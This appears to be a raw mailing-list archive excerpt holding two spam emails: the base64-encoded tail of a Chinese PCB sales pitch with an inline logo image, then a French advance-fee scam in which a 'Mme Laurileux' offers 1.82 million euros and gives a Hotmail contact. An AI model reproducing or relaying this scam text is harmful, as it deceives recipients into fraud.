MjUwMDA8L1NQQU4+PFNQQU4gc3R5bGU9IkZPTlQtU0laRTogMTBwdDsgRk9OVC1GQU1JTFk6 IOWui+S9kzsgQ09MT1I6ICM0MDMxNTI7IG1zby1hc2NpaS1mb250LWZhbWlseTogVmVyZGFu YTsgbXNvLWhhbnNpLWZvbnQtZmFtaWx5OiBWZXJkYW5hIj7jjqE8L1NQQU4+PFNQQU4gbGFu Zz1FTi1VUyBzdHlsZT0iRk9OVC1TSVpFOiAxMHB0OyBGT05ULUZBTUlMWTogVmVyZGFuYTsg Q09MT1I6ICM0MDMxNTIiPiZuYnNwOzs8L1NQQU4+PC9QPjxTUEFOIGxhbmc9RU4tVVMgc3R5 bGU9IkZPTlQtU0laRTogMTBwdDsgRk9OVC1GQU1JTFk6IFZlcmRhbmE7IENPTE9SOiAjNDAz MTUyIj4NCjxQIGNsYXNzPU1zb05vcm1hbCBzdHlsZT0iTUFSR0lOOiAwY20gMGNtIDBwdCI+ PEJSPiZuYnNwOyZuYnNwOyZuYnNwOzUuIE9uLXRpbWUmbmJzcDthbmQmbmJzcDtjaGVhcCZu YnNwO2xvZ2lzdGljJm5ic3A7c2VydmljZSZuYnNwOzwvUD4NCjxQIGNsYXNzPU1zb05vcm1h bCBzdHlsZT0iTUFSR0lOOiAwY20gMGNtIDBwdCI+PEJSPklmIHlvdSBoYXZlIGFueSBpbnF1 aXJ5LCBwbGVhc2UgZmVlbCBmcmVlIHRvJm5ic3A7ZS1tYWlsIG9yIHNreXBlKCA8Rk9OVCBj b2xvcj0jMDAwMGZmPmxpbmRhbGl1bWt0cGNiPC9GT05UPikgbWUuIDwvUD4NCjxQIGNsYXNz PU1zb05vcm1hbCBzdHlsZT0iTUFSR0lOOiAwY20gMGNtIDBwdCI+PG86cD48L286cD48L1NQ QU4+Jm5ic3A7PC9QPg0KPFAgY2xhc3M9TXNvTm9ybWFsIHN0eWxlPSJNQVJHSU46IDBjbSAw Y20gMHB0Ij48U1BBTiBsYW5nPUVOLVVTIHN0eWxlPSJGT05ULVNJWkU6IDEwcHQ7IEZPTlQt RkFNSUxZOiBWZXJkYW5hOyBDT0xPUjogIzQwMzE1MiI+V2VsY29tZSB0byB2aXNpdCBvdXIg d2Vic2l0ZTogPEEgaHJlZj0iaHR0cDovL3d3dy5ta3RwY2IuY29tLyI+d3d3Lm1rdHBjYi5j b208L0E+PC9TUEFOPjwvUD4NCjxQIGNsYXNzPU1zb05vcm1hbCBzdHlsZT0iTUFSR0lOOiAw Y20gMGNtIDBwdCI+PFNQQU4gbGFuZz1FTi1VUyBzdHlsZT0iRk9OVC1TSVpFOiAxMHB0OyBG T05ULUZBTUlMWTogVmVyZGFuYTsgQ09MT1I6ICM0MDMxNTIiPjwvU1BBTj4mbmJzcDs8L1A+ PFNQQU4gbGFuZz1FTi1VUyBzdHlsZT0iRk9OVC1TSVpFOiAxMHB0OyBGT05ULUZBTUlMWTog VmVyZGFuYTsgQ09MT1I6ICM0MDMxNTIiPjwhLS1TdGFydEZyYWdtZW50IC0tPg0KPERJVj4m bmJzcDtUS1MmbmJzcDsmYW1wOyZuYnNwO0IuUkdEUy48QlI+Jm5ic3A7TGluZGEmbmJzcDtM aXUtU2FsZXMmbmJzcDsmYW1wOyZuYnNwO0N1c3RvbWVyJm5ic3A7U2VydmljZSZuYnNwO01h bmFnZXI8QlI+PElNRyBzcmM9ImNpZDowQGxvY2FsaG9zdCI+PC9ESVY+DQo8RElWPk1LVCZu YnNwO0VsZWN0cm9uaWMmbmJzcDtDby4mbmJzcDtMdGQ8L0RJVj4NCjxESVY+Q29udGFjdDpM aW5kYSBMaXU8L0RJVj4NCjxESVY+TEFOOiZuYnNwOzg2LTA3NTUtMjczNDczODU8L0RJVj4N CjxESVY+Q2VsbDombmJzcDs4Ni0xODg5ODgzOTE0ODwvRElWPg0KPERJVj5Ta3lwZTombmJz cDtsaW5kYWxpdW1rdHBjYjwvRElWPg0KPERJVj5XZWI6d3d3Lm1rdHBjYi5jb208L0RJVj4N CjxESVY+PEEgaHJlZj0ibWFpbHRvOnNhbGVzMDNAbWt0cGNiLmNuIj5zYWxlczAzQG1rdHBj Yi5jbjwvQT48L0RJVj4NCjxESVY+PEEgaHJlZj0ibWFpbHRvOmxpbmRhQG1rdHBjYi5jb20i PmxpbmRhQG1rdHBjYi5jb208L0E+IDwvRElWPg0KPERJVj4mbmJzcDs8L0RJVj4NCjxESVY+ Jm5ic3A7PC9ESVY+PC9TUEFOPg== ----boundary_9281_6a989ac8-1838-4b56-8604-486d995ce044-- ----boundary_9282_55a0f34d-df10-45c2-9690-0f4a10ea47d5 Content-Type: multipart/mixed; boundary=--boundary_9283_bf99aa31-1256-4f0f-88f9-0a2426f1b0cf ----boundary_9283_bf99aa31-1256-4f0f-88f9-0a2426f1b0cf Content-Type: image/png; name="H4ZBC2UIB3%4_05(Q(8(VT9.png" Content-Transfer-Encoding: base64 Content-Disposition: inline Content-ID: <0@localhost> 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 +mulyAAdWPT/6HkTDf1w96kAAAAASUVORK5CYII= ----boundary_9283_bf99aa31-1256-4f0f-88f9-0a2426f1b0cf-- ----boundary_9282_55a0f34d-df10-45c2-9690-0f4a10ea47d5-- From vincentbidouze@orange.fr Sun Oct 18 08:31:56 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: * X-Spam-Status: No, score=1.0 required=5.0 tests=FREEMAIL_FROM,FREEMAIL_REPLYTO, HTML_MESSAGE,T_CDISP_SZ_MANY,T_FREEMAIL_DOC_PDF autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 2A20E7F3F for ; Sun, 18 Oct 2015 08:31:56 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id D15A88F8049 for ; Sun, 18 Oct 2015 06:31:55 -0700 (PDT) X-ASG-Debug-ID: 1445175108-04bdf06db2ae7b0001-NocioJ Received: from smtp.smtpout.orange.fr (smtp03.smtpout.orange.fr [80.12.242.125]) by cuda.sgi.com with ESMTP id EAp1LkY4A4iLeNK0 (version=TLSv1 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO) for ; Sun, 18 Oct 2015 06:31:49 -0700 (PDT) X-Barracuda-Envelope-From: vincentbidouze@orange.fr X-Barracuda-Apparent-Source-IP: 80.12.242.125 Received: from wwinf1v10 ([10.223.71.53]) by mwinf5d57 with ME id WdXn1r00218ySGi03dXn69; Sun, 18 Oct 2015 15:31:47 +0200 X-ME-Helo: wwinf1v10 X-ME-Auth: dmluY2VudGJpZG91emVAb3JhbmdlLmZy X-ME-Date: Sun, 18 Oct 2015 15:31:47 +0200 X-ME-IP: 80.15.22.50 Date: Sun, 18 Oct 2015 15:31:47 +0200 (CEST) From: vin's Reply-To: vin's To: "vincentbidouze@hotmail.fr" Message-ID: <138693962.6299.1445175107104.JavaMail.www@wwinf1v10> Subject: (Lettre pour projet), Mme Laurileux MIME-Version: 1.0 X-ASG-Orig-Subj: (Lettre pour projet), Mme Laurileux Content-Type: multipart/mixed; boundary="----=_Part_6297_783631666.1445175107096" X-Country-Code: X-me-spamlevel: not-spam X-Cache-ID: Message-Context: email-message X-WUM-SignatureAdded: X-Message-Size: X-SAVECOPY: false X-National-Code: X-Cache-Entry: X-Wum-ChannelType: X-Originating-IP: 80.15.22.50 X-Wum-Nature: EMAIL-NATURE X-WUM-FROM: |~| X-WUM-TO: |~| X-WUM-CCI: |~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~| X-WUM-REPLYTO: |~| X-Barracuda-Connect: smtp03.smtpout.orange.fr[80.12.242.125] X-Barracuda-Start-Time: 1445175109 X-Barracuda-Encrypted: DHE-RSA-AES128-SHA X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23600 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.00 HTML_MESSAGE BODY: HTML included in message ------=_Part_6297_783631666.1445175107096 Content-Type: multipart/alternative; boundary="----=_Part_6298_2127687058.1445175107096" ------=_Part_6298_2127687058.1445175107096 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable Bonjour, Je vous prie de prendre connaissance de la ci-jointe pou plus d'infoBon dim= anche je vous le souhaite avant de commencer. > Je suis Mme Laurileux Danielle je sais que ce message vous parait= ra peu suspect > je tiens =C3=A0 vous informer que c'est la gr=C3=A2ce ce Dieu > Qui m'a dirig=C3=A9 vers vous  > Et je le remercie amplement... Je dispose d'une somme de 1.82O.000E que je souhaiterais mettre =C3=A0 votr= e disposition pour la r=C3=A9alisation, d'un projet des oeuvres de bon= ne volont=C3=A9s L.Daniel. Merci ps: pour la suite contactez moi = sur danielle.laurileux@hotmail.com ------=_Part_6298_2127687058.1445175107096 Content-Type: text/html; charset=UTF-8 Content-Transfer-Encoding: quoted-printable

Bonjour,


Je vous prie de p= rendre connaissance de la ci-jointe p= ou plus d'info

Bon dimanche je vous le souhaite avant de = commencer.

> Je suis Mme Laurileux Danielle je sais que ce m= essage vous paraitra peu suspect
> je tiens =C3=A0 vous informer que c'est la gr=C3=A2ce ce Dieu
> = Qui m'a dirig=C3=A9 vers vous 
> Et je le remercie ampl= ement...
Je dispose d'une somme de 1.82O.000E que je souhaiterais mettre =C3=A0 votre di= sposition pour la r=C3=A9alisation,
&n= bsp;d'un projet des oeuvres de bonne volont=C3=A9s
 L.Daniel. Merci
&nb= sp;
ps: pour la suite contactez = moi sur danielle.laurileux@hotmail.com
